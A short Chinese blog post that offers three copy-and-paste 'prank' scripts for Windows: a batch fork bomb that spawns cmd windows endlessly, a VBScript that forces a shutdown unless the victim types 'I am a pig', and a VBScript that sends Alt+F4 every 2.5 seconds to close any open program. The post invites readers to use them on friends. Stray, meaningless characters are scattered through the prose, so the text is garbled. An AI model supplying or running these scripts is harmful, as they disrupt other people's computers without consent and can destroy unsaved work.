? ? ? ? Windows 記事本編寫惡搞小程序
這時(shí)我第一次寫文章，如果哪里有錯(cuò)誤徙垫，希望能給我指正出來讥裤。
1、炸彈彈窗
2姻报、我是豬
3己英、打開什么程序都關(guān)閉
1、代碼是：
:start
start cmd
goto start
復(fù)制到記事本吴旋，保存為.bat
2损肛、代碼是：
Option Explicit
On Error Resume Next
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run "Shutdown /f /s /t 10 /c 輸入'我是豬'厢破，否則10秒后關(guān)機(jī)~",0
Do While answer<>"我是豬"
answer=InputBox("輸入'我是豬'，否則10秒后關(guān)機(jī)~","哈哈哈",,7000,8000)
Loop
WshShell.Run "Shutdown /a",0
MsgBox "哈哈哈治拿，好玩不?",,"哈哈哈"
復(fù)制到記事本摩泪，保存為.vbs
3、代碼是：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
復(fù)制到記事本劫谅，保存為.vbs
是不是想去惡搞你的朋友了
